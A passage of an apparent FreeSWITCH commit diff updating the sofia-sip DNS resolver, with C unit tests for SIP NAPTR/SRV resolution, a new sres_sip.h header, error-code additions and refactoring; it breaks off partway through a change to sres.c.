+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_naptr3)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  /* Check that sip: resolves only to TLS */
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		d, sres_type_naptr, 30, 50, "s", "SIP+D2T", "", "_sip._tcp.srv00",
+		d, sres_type_naptr, 20, 50, "s", "SIPS+D2T", "", "_sips._tcp.srv00",
+		/* priority weight port target */
+		"_sips._tcp.srv00", sres_type_srv, 2, 100, 5061, "sips00",
+		"sips00", sres_type_a, "12.13.14.15",
+		"_sip._tcp.srv00", sres_type_srv, 2, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.16",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TLS);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+  /* Hint no support for TLS */
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hint_udp_tcp,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_naptr_with_a)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+  int i;
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record(d, sres_type_naptr,
+		/* order priority flags services regexp target */
+		"", sres_type_naptr, 20, 50, "a", "SIP+D2U", "", "sip00",
+		"", sres_type_naptr, 20, 50, "a", "SIP+D2T", "", "sip00",
+		"", sres_type_naptr, 20, 50, "a", "SIPS+D2T", "", "sip00",
+		"sip00", sres_type_a, "12.13.14.15",
+		NULL);
+
+  /* Check that cache does not change ordering */
+  for (i = 0; i < 3; i++) {
+    srs = sres_sip_new(x->sres, (void *)"sip:example.com", NULL,
+		      1, 1,
+		      resolver_callback, x->root);
+    fail_if(srs == NULL);
+
+
+    if (i == 0) {
+      while (sres_sip_next_step(srs))
+	su_root_step(x->root, 1000);
+    }
+    else {
+      fail_if(sres_sip_next_step(srs));
+    }
+
+    ai = sres_sip_results(srs);
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_UDP);
+    fail_unless(ai->ai_family == AF_INET);
+
+    ai = ai->ai_next;
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_TCP);
+    fail_unless(ai->ai_family == AF_INET);
+
+    ai = ai->ai_next;
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_TLS);
+    fail_unless(ai->ai_family == AF_INET);
+
+    fail_if(ai->ai_next);
+
+    sres_sip_unref(srs);
+  }
+}
+END_TEST
+
+START_TEST(found_srv)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+
+  /* Check that hints are followed: */
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record("_sips._tcp", sres_type_srv,
+		"", sres_type_srv, 2, 100, 5061, "sips00",
+		"sips00", sres_type_a, "12.13.14.15",
+		NULL);
+  s2_dns_record("_sip._tcp", sres_type_srv,
+		"", sres_type_srv, 2, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.16",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hint_udp_tcp,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+  /* Hints prefer TLS */
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hint_tls_udp_tcp,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TLS);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+
+  /* Hints support TLS, prefer TCP */
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hint_udp_tcp_tls,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TLS);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+  sres_resolver_unref(x->sres);
+
+  x->sres = sres_resolver_create(
+    x->root, NULL,
+#if HAVE_WIN32
+    SRESTAG_RESOLV_CONF("NUL"),
+#else
+    SRESTAG_RESOLV_CONF("/dev/null"),
+#endif
+    TAG_END());
+
+  /* Add UDP record */
+  s2_dns_record("_sip._udp", sres_type_srv,
+		"", sres_type_srv, 1, 100, 5060, "sip00",
+		"sip00", sres_type_a, "12.13.14.16",
+		NULL);
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hint_udp_tcp_tls,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+  assert(ai != NULL);
+  fail_if(ai->ai_protocol != TPPROTO_UDP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TCP);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_if(!(ai = ai->ai_next));
+  fail_if(ai->ai_protocol != TPPROTO_TLS);
+  fail_unless(ai->ai_family == AF_INET);
+  fail_unless(!(ai = ai->ai_next));
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+START_TEST(found_multi_srv)
+{
+  sres_sip_t *srs;
+  su_addrinfo_t const *ai;
+  char const *d;
+  int i;
+  su_addrinfo_t hints[1];
+
+  /* Check that srv records are selected correctly by priority and weight */
+
+  s2_dns_default(d = "example.com.");
+
+  s2_dns_record("_sips._tcp", sres_type_srv,
+		"", sres_type_srv, 2, 100, 5061, "sips00",
+		"", sres_type_srv, 2, 100, 5061, "sips01",
+		"", sres_type_srv, 2, 200, 5061, "sips02",
+		"sips00", sres_type_a, "12.13.0.10",
+		"sips01", sres_type_a, "12.13.1.10",
+		"sips02", sres_type_a, "12.13.2.10",
+		NULL);
+
+  mark_point();
+
+  s2_dns_record("_sip._tcp", sres_type_srv,
+		"", sres_type_srv, 4, 1, 5060, "sip00",
+		"", sres_type_srv, 3, 100, 5060, "sip01",
+		"", sres_type_srv, 3, 10, 5060, "sip02",
+		"sip00", sres_type_a, "12.13.0.1",
+		"sip00", sres_type_a, "12.13.0.2",
+		"sip01", sres_type_a, "12.13.1.2",
+		"sip01", sres_type_a, "12.13.1.1",
+		"sip02", sres_type_a, "12.13.2.1",
+		"sip02", sres_type_a, "12.13.2.2",
+		NULL);
+  mark_point();
+
+  s2_dns_record("_sip._udp", sres_type_srv,
+		"", sres_type_srv, 10, 100, 5060, "sip00",
+		"", sres_type_srv, 10, 0, 5060, "sip01",
+		"", sres_type_srv, 1, 100, 5060, "sip02",
+		"sip00", sres_type_a, "12.13.0.1",
+		"sip00", sres_type_a, "12.13.0.2",
+		"sip01", sres_type_a, "12.13.1.2",
+		"sip01", sres_type_a, "12.13.1.1",
+		"sip02", sres_type_a, "12.13.2.1",
+		"sip02", sres_type_a, "12.13.2.2",
+		NULL);
+
+  mark_point();
+
+  /* Ask resolver to return canonic names */
+  *hints = *hint_udp_tcp_tls,  hints->ai_flags |= AI_CANONNAME;
+
+  srs = sres_sip_new(x->sres, (void *)"sip:example.com", hints,
+		    1, 1,
+		    resolver_callback, x->root);
+  fail_if(srs == NULL);
+
+  while (sres_sip_next_step(srs))
+    su_root_step(x->root, 1000);
+
+  ai = sres_sip_results(srs);
+
+  for (i = 0; i < 6; i++) {
+    static char const * const names[] = {
+      "sip02.", "sip02.",	/* Selected because priority */
+      "sip00.", "sip00.",	/* Because of sip01 has weight=0  */
+      "sip01.", "sip01."
+    };
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_UDP);
+    fail_unless(ai->ai_family == AF_INET);
+    fail_unless(ai_port(ai) == 5060);
+    fail_if(memcmp(ai->ai_canonname, names[i], strlen(names[i])) != 0);
+    ai = ai->ai_next;
+  }
+
+  for (i = 0; i < 6; i++) {
+    static char const * const names[] = {
+      "sip", "sip",
+      "sip", "sip",
+      "sip00.", "sip00."
+    };
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_TCP);
+    fail_unless(ai->ai_family == AF_INET);
+    fail_unless(ai_port(ai) == 5060);
+    fail_if(memcmp(ai->ai_canonname, names[i], strlen(names[i])) != 0);
+    ai = ai->ai_next;
+  }
+
+  for (i = 0; i < 3; i++) {
+    assert(ai != NULL);
+    fail_if(ai->ai_protocol != TPPROTO_TLS);
+    fail_unless(ai->ai_family == AF_INET);
+    fail_unless(ai_port(ai) == 5061);
+    ai = ai->ai_next;
+  }
+
+  sres_sip_unref(srs);
+}
+END_TEST
+
+TCase *api_tcase(void)
+{
+  TCase *tc = tcase_create("1 - Test simple resolving");
+
+  tcase_add_checked_fixture(tc, resolver_setup, resolver_teardown);
+
+  tcase_add_test(tc, invalid);
+  tcase_add_test(tc, not_found);
+  tcase_add_test(tc, failure);
+  tcase_add_test(tc, timeout);
+  tcase_add_test(tc, found_a);
+  tcase_add_test(tc, found_cname);
+  tcase_add_test(tc, found_ip);
+  tcase_add_test(tc, found_maddr_a);
+  tcase_add_test(tc, found_maddr_ip);
+  tcase_add_test(tc, found_a_aaaa);
+  tcase_add_test(tc, found_naptr);
+  tcase_add_test(tc, found_bad_naptr);
+  tcase_add_test(tc, found_naptr_nohint);
+  tcase_add_test(tc, found_naptr2);
+  tcase_add_test(tc, found_naptr3);
+  tcase_add_test(tc, found_naptr_with_a);
+  tcase_add_test(tc, ignore_naptr);
+  tcase_add_test(tc, found_srv);
+  tcase_add_test(tc, found_multi_srv);
+
+  return tc;
+}
+
+/* ---------------------------------------------------------------------- */
+
+static void usage(int exitcode)
+{
+  fprintf(exitcode ? stderr : stdout,
+	  "usage: check_sres_sip [--xml=logfile] case,...\n");
+  exit(exitcode);
+}
+
+int main(int argc, char *argv[])
+{
+  int i, failed = 0;
+
+  Suite *suite = suite_create("Unit tests for SIP URI resolver");
+  SRunner *runner;
+  char const *xml = NULL;
+
+  s2_select_tests(getenv("CHECK_CASES"));
+
+  for (i = 1; argv[i]; i++) {
+    if (su_strnmatch(argv[i], "--xml=", strlen("--xml="))) {
+      xml = argv[i] + strlen("--xml=");
+    }
+    else if (su_strmatch(argv[i], "--xml")) {
+      if (!(xml = argv[++i]))
+	usage(2);
+    }
+    else if (su_strmatch(argv[i], "-?") ||
+	     su_strmatch(argv[i], "-h") ||
+	     su_strmatch(argv[i], "--help"))
+      usage(0);
+    else
+      s2_select_tests(argv[i]);
+  }
+
+  suite_add_tcase(suite, api_tcase());
+
+  runner = srunner_create(suite);
+  if (xml)
+    srunner_set_xml(runner, xml);
+  srunner_run_all(runner, CK_ENV);
+  failed = srunner_ntests_failed(runner);
+  srunner_free(runner);
+
+  exit(failed ? EXIT_FAILURE : EXIT_SUCCESS);
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/example.com (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/example.com	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/example.com	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,6 +42,11 @@
 		SRV 4 50 5051 sip02
 		SRV 5 10 5061 sip01
 
+cloop	CNAME	cloop0
+cloop0	CNAME	cloop1
+cloop1	CNAME	cloop2
+cloop2	CNAME	cloop0
+
 sip	CNAME	sip00
 
 subnet  A6	0 3ff0:0::

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/resolve_sip.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/resolve_sip.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/resolve_sip.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,6 +41,7 @@
 #define SRES_CONTEXT_T struct context
 
 #include "sofia-sip/sresolv.h"
+#include "sofia-sip/su_string.h"
 
 char const name[] = "sip_resolve";
 
@@ -121,7 +122,7 @@
 
     switch (na->na_flags[0]) {
     case 's': /* srv */
-      if (strncasecmp("SIP+", na->na_services, 4))
+      if (!su_casenmatch("SIP+", na->na_services, 4))
 	/* Something else but SIP */
 	break;
       query_srv(sr, na->na_replace);
@@ -129,7 +130,7 @@
       return;
 
     case 'a':
-      if (strncasecmp("SIP+", na->na_services, 4))
+      if (!su_casenmatch("SIP+", na->na_services, 4))
 	/* Something else but SIP */
 	break;
       query_a(sr, na->na_replace);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/run_test_sresolv (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/run_test_sresolv	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/run_test_sresolv	2009-08-09 18:53:22 UTC (rev 14472)
@@ -168,6 +168,10 @@
     echo $0: cannot start named >&2 ;
     if fgrep -i -e SELINUX=enforcing /etc/selinux/config >/dev/null 2>&1 ; then
 	echo $0: perhaps you have to disable SELinux protection for named
+    elif test -d /etc/apparmor.d ; then
+	echo $0: perhaps you have to disable apparmor protection for named
+    else
+	echo $0: perhaps you have to disable apparmor or SELinux
     fi
     exit 77
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_cache.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_cache.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_cache.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -90,6 +90,13 @@
 /** Free and zero one record. */
 SRESPUBFUN void sres_cache_free_one(sres_cache_t *, sres_record_t *answer);
 
+/** Copy list of records */
+SRESPUBFUN
+sres_record_t **sres_cache_copy_answers(sres_cache_t *, sres_record_t **);
+
+/** Remove old records from cache.  */
+SRESPUBFUN void sres_cache_clean(sres_cache_t *cache, time_t now);
+
 /** Allocate a cache record */
 SRESPUBFUN
 sres_record_t *sres_cache_alloc_record(sres_cache_t *cache,

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_record.h (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_record.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-resolv/sres_record.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -71,7 +71,11 @@
 
   /* Errors generated by sresolv */
   SRES_TIMEOUT_ERR = 32,	/**< Timeout occurred */
-  SRES_RECORD_ERR = 33	        /**< Name has no given record type */
+  SRES_RECORD_ERR = 33,	        /**< Name has no given record type */
+  SRES_INTERNAL_ERR = 34,	/**< Internal error */
+  SRES_NETWORK_ERR = 35,	/**< Network or DNS configuration error. */
+
+  _SRES_LAST_ERR
 };
 
 /** Start of a zone of authority record (@RFC1035). */
@@ -248,6 +252,9 @@
 /** Convert type to its name. */
 SRESPUBFUN char const *sres_record_type(int type, char buffer[8]);
 
+/** Convert status to its name. */
+SRESPUBFUN char const *sres_record_status(int status, char buffer[8]);
+
 /** Compare two records. */
 SRESPUBFUN int sres_record_compare(sres_record_t const *,
 				   sres_record_t const *);

Copied: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-sip/sres_sip.h (from rev 14471, freeswitch/trunk/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-sip/sres_sip.h) (0 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-sip/sres_sip.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sofia-sip/sres_sip.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,121 @@
+/*
+ * This file is part of the Sofia-SIP package
+ *
+ * Copyright (C) 2009 Nokia Corporation.
+ *
+ * Contact: Pekka Pessi <pekka.pessi@nokia.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public License
+ * as published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA
+ *
+ */
+
+#ifndef SOFIA_SIP_SRES_SIP_H
+/** Defined when <sofia-sip/sres_sip.h> has been included. */
+#define SOFIA_SIP_SRES_SIP_H
+
+/**@file sofia-sip/sres_sip.h
+ * @brief Asynchronous resolver for SIP
+ *
+ * @author Pekka Pessi <Pekka.Pessi@nokia.com>
+ */
+
+#ifndef SU_TYPES_H
+#include <sofia-sip/su_types.h>
+#endif
+
+#ifndef SU_ADDRINFO_H
+#include <sofia-sip/su_addrinfo.h>
+#endif
+
+#ifndef URL_H
+#include <sofia-sip/url.h>
+#endif
+
+#ifndef SOFIA_RESOLV_SRES_H
+#include <sofia-resolv/sres.h>
+#endif
+
+SOFIA_BEGIN_DECLS
+
+typedef struct sres_sip_s   sres_sip_t;
+
+#ifndef SRES_SIP_MAGIC_T
+/** Default type of application context for NTA resolver.
+ *
+ * Application may define this to appropriate type before including
+ * <sofia-sip/sres_sip.h>. */
+#define SRES_SIP_MAGIC_T struct sres_sip_magic_s
+#endif
+
+/** Application context for NTA resolver. */
+typedef SRES_SIP_MAGIC_T     sres_sip_magic_t;
+
+typedef void sres_sip_notify_f(sres_sip_magic_t *context,
+			       sres_sip_t *resolver,
+			       int error);
+
+SOFIAPUBFUN sres_sip_t *sres_sip_new(
+  sres_resolver_t *sres,
+  url_string_t const *url,
+  su_addrinfo_t const *hints,
+  int naptr, int srv,
+  sres_sip_notify_f *callback,
+  sres_sip_magic_t *magic);
+
+SOFIAPUBFUN sres_sip_t *sres_sip_ref(sres_sip_t *);
+SOFIAPUBFUN void sres_sip_unref(sres_sip_t *);
+
+SOFIAPUBFUN su_addrinfo_t const *sres_sip_results(sres_sip_t *);
+
+SOFIAPUBFUN su_addrinfo_t const *sres_sip_next(sres_sip_t *);
+
+SOFIAPUBFUN int sres_sip_next_step(sres_sip_t *nr);
+
+SOFIAPUBFUN int sres_sip_error(sres_sip_t *nr);
+
+/* Errors */
+enum {
+  SRES_SIP_ERR_FAULT = -1,	/* Invalid pointers */
+  SRES_SIP_ERR_BAD_URI = -2,	/* Invalid URI */
+  SRES_SIP_ERR_BAD_HINTS = -3,	/* Invalid hints */
+  SRES_SIP_ERR_NO_NAME = -4,	/* No domain found */
+  SRES_SIP_ERR_NO_DATA = -5,	/* No matching records */
+  SRES_SIP_ERR_NO_TPORT = -6,	/* Unknown transport */
+  SRES_SIP_ERR_FAIL = -7,	/* Permanent resolving error */
+  SRES_SIP_ERR_AGAIN = -8,	/* Temporary resolving error */
+  SRES_SIP_ERR_INTERNAL = -9,	/* Internal error */
+  _SRES_SIP_ERR_LAST
+};
+
+/* Well-known transport numbers */
+enum {
+  TPPROTO_TCP =  6,
+  TPPROTO_UDP = 17,
+  TPPROTO_SCTP = 132,
+  TPPROTO_SECURE = 256,
+  TPPROTO_TLS = TPPROTO_SECURE | TPPROTO_TCP,
+  TPPROTO_NONE = 0
+};
+
+#define TPPROTO_TCP  TPPROTO_TCP
+#define TPPROTO_UDP  TPPROTO_UDP
+#define TPPROTO_SCTP TPPROTO_SCTP
+#define TPPROTO_TLS  TPPROTO_TLS
+#define TPPROTO_NONE TPPROTO_NONE
+
+SOFIA_END_DECLS
+
+#endif	/* SOFIA_SIP_SRES_SIP_H */

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sresolv/sres.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -74,6 +74,12 @@
 #include <iphlpapi.h>
 #endif
 
+#if HAVE_IP_RECVERR || HAVE_IPV6_RECVERR
+#include <linux/types.h>
+#include <linux/errqueue.h>
+#include <sys/uio.h>
+#endif
+
 #include <time.h>
 
 #include "sofia-resolv/sres.h"
@@ -83,6 +89,7 @@
 
 #include <sofia-sip/su_alloc.h>
 #include <sofia-sip/su_strlst.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/su_errno.h>
 
 #include "sofia-sip/htable.h"
@@ -183,6 +190,13 @@
 #define va_copy(dst, src) (memcpy(&(dst), &(src), sizeof (va_list)))
 #endif
 
+/*
+ * 3571 is a prime =>
+ * we hash successive id values to different parts of hash tables
+ */
+#define Q_PRIME 3571
+#define SRES_QUERY_HASH(q) ((q)->q_hash)
+
 /**
  * How often to recheck nameserver information (seconds).
  */
@@ -389,12 +403,17 @@
 				       sres_config_t const *old_c);
 static sres_server_t **sres_servers_new(sres_resolver_t *res,
 					sres_config_t const *c);
+static sres_answer_f sres_resolving_cname;
 
 /** Generate new 16-bit identifier for DNS query. */
-static uint16_t
-sres_new_id(sres_resolver_t *res)
+static void
+sres_gen_id(sres_resolver_t *res, sres_query_t *query)
 {
-  return res->res_id ? res->res_id++ : (res->res_id = 2, 1);
+  if (res->res_id == 0) {
+    res->res_id = 1;
+  }
+  query->q_id = res->res_id++;
+  query->q_hash = query->q_id * Q_PRIME;
 }
 
 /** Return true if we have a search list or a local domain name. */
@@ -494,7 +513,9 @@
 
 static char const *sres_toplevel(char buf[], size_t bsize, char const *domain);
 
-static sres_record_t *sres_create_record(sres_resolver_t *, sres_message_t *m);
+static sres_record_t *sres_create_record(sres_resolver_t *,
+					 sres_message_t *m,
+					 int nth);
 
 static sres_record_t *sres_init_rr_soa(sres_cache_t *cache,
 				       sres_soa_record_t *,
@@ -540,8 +561,8 @@
 static uint16_t m_get_uint16(sres_message_t *m);
 static uint8_t m_get_uint8(sres_message_t *m);
 
-static int m_get_string(char *d, int n, sres_message_t *m, uint16_t offset);
-static int m_get_domain(char *d, int n, sres_message_t *m, uint16_t offset);
+static unsigned m_get_string(char *d, unsigned n, sres_message_t *m, uint16_t offset);
+static unsigned m_get_domain(char *d, unsigned n, sres_message_t *m, uint16_t offset);
 
 /* ---------------------------------------------------------------------- */
 
@@ -704,6 +725,8 @@
   if (olist != oarray)
     free(olist);
 
+  va_end(va0);
+
   return res;
 }
 
@@ -1530,13 +1553,40 @@
   case sres_qtype_any: return "ANY";
 
   default:
-    sprintf(buffer, "%u?", type & 65535);
+    if (buffer)
+      sprintf(buffer, "%u?", type & 65535);
     return buffer;
   }
 }
 
+/** Convert record status to its name */
+char const *sres_record_status(int status, char buffer[8])
+{
+  switch (status) {
+  case SRES_OK: return "OK";
+  case SRES_FORMAT_ERR: return "FORMAT_ERR";
+  case SRES_SERVER_ERR: return "SERVER_ERR";
+  case SRES_NAME_ERR: return "NAME_ERR";
+  case SRES_UNIMPL_ERR: return "UNIMPL_ERR";
+  case SRES_AUTH_ERR: return "AUTH_ERR";
+
+  /* Errors generated by sresolv */
+  case SRES_TIMEOUT_ERR: return "TIMEOUT_ERR";
+  case SRES_RECORD_ERR: return "RECORD_ERR";
+  case SRES_INTERNAL_ERR: return "INTERNAL_ERR";
+  case SRES_NETWORK_ERR: return "NETWORK_ERR";
+
+  default:
+    if (buffer)
+      sprintf(buffer, "%u?", status & 255);
+    return buffer;
+  }
+}
+
+
 /** Convert class to its name. */
-char const *sres_record_class(int rclass, char buffer[8])
+static char const *
+sres_record_class(int rclass, char buffer[8])
 {
   switch (rclass) {
   case 1: return "IN";
@@ -1571,8 +1621,8 @@
     {
       sres_soa_record_t const *A = aa->sr_soa, *B = bb->sr_soa;
       D = A->soa_serial - B->soa_serial; if (D) return D;
-      D = strcasecmp(A->soa_mname, B->soa_mname); if (D) return D;
-      D = strcasecmp(A->soa_rname, B->soa_rname); if (D) return D;
+      D = su_strcasecmp(A->soa_mname, B->soa_mname); if (D) return D;
+      D = su_strcasecmp(A->soa_rname, B->soa_rname); if (D) return D;
       D = A->soa_refresh - B->soa_refresh; if (D) return D;
       D = A->soa_retry - B->soa_retry; if (D) return D;
       D = A->soa_expire - B->soa_expire; if (D) return D;
@@ -1590,7 +1640,7 @@
       D = A->a6_prelen - B->a6_prelen; if (D) return D;
       D = !A->a6_prename - !B->a6_prename;
       if (D == 0 && A->a6_prename && B->a6_prename)
-	D = strcasecmp(A->a6_prename, B->a6_prename); if (D) return D;
+	D = su_strcasecmp(A->a6_prename, B->a6_prename); if (D) return D;
       return memcmp(&A->a6_suffix, &B->a6_suffix, sizeof A->a6_suffix);
     }
   case sres_type_aaaa:
@@ -1655,13 +1705,6 @@
     res->res_updcb(res->res_async, INVALID_SOCKET, INVALID_SOCKET);
 }
 
-/*
- * 3571 is a prime =>
- * we hash successive id values to different parts of hash tables
- */
-#define Q_PRIME 3571
-#define SRES_QUERY_HASH(q) ((q)->q_hash)
-
 HTABLE_BODIES_WITH(sres_qtable, qt, sres_query_t, SRES_QUERY_HASH,
 		   unsigned, size_t);
 
@@ -1693,10 +1736,11 @@
     query->q_timestamp = res->res_now;
     query->q_name = strcpy((char *)(query + 1), domain);
 
-    query->q_id = sres_new_id(res); assert(query->q_id);
+    sres_gen_id(res, query);
+    assert(query->q_id);
+
     query->q_i_server = res->res_i_server;
     query->q_n_servers = res->res_n_servers;
-    query->q_hash = query->q_id * Q_PRIME /* + query->q_i_server */;
 
     sres_qtable_append(res->res_queries, query);
 
@@ -2238,11 +2282,11 @@
       /* Skip whitespace at the beginning ...*/
       b = buf + strspn(buf, " \t");
 
-      /* ... and at the end of line */
-      for (len = strlen(b); len > 0 && strchr(" \t\r\n", b[len - 1]); len--)
+      /* ... and comments + whitespace at the end */
+      for (len = strcspn(b, "#;"); len > 0 && strchr(" \t\r\n", b[len - 1]); len--)
 	;
 
-      if (len == 0 || b[0] == '#') 	/* Empty line or comment */
+      if (len == 0) 	/* Empty line or comment */
 	continue;
 
       b[len] = '\0';
@@ -2250,7 +2294,7 @@
       len = strcspn(b, " \t");
       value = b + len; value += strspn(value, " \t");
 
-#define MATCH(token) (len == strlen(token) && strncasecmp(token, b, len) == 0)
+#define MATCH(token) (len == strlen(token) && su_casenmatch(token, b, len))
 
       if (MATCH("nameserver")) {
 	if (sres_parse_nameserver(c, value) < 0)
@@ -2720,6 +2764,8 @@
   if (i0 > N) i0 = 0; /* Number of DNS servers reduced */
   dns = servers[i = i0];
 
+  error = EIO;
+
   if (res->res_config->c_opt.rotate || dns->dns_error || dns->dns_icmp)
     dns = sres_next_server(res, &q->q_i_server, 1), i = q->q_i_server;
 
@@ -2895,6 +2941,9 @@
   int i;
 
   if (q->q_callback) {
+    char sbuf[8], tbuf[8];
+    int status = 0;
+
     for (i = 0; i <= SRES_MAX_SEARCH; i++) {
       if (q->q_subqueries[i])	/* a pending query... */
 	return;
@@ -2906,9 +2955,28 @@
       }
     }
 
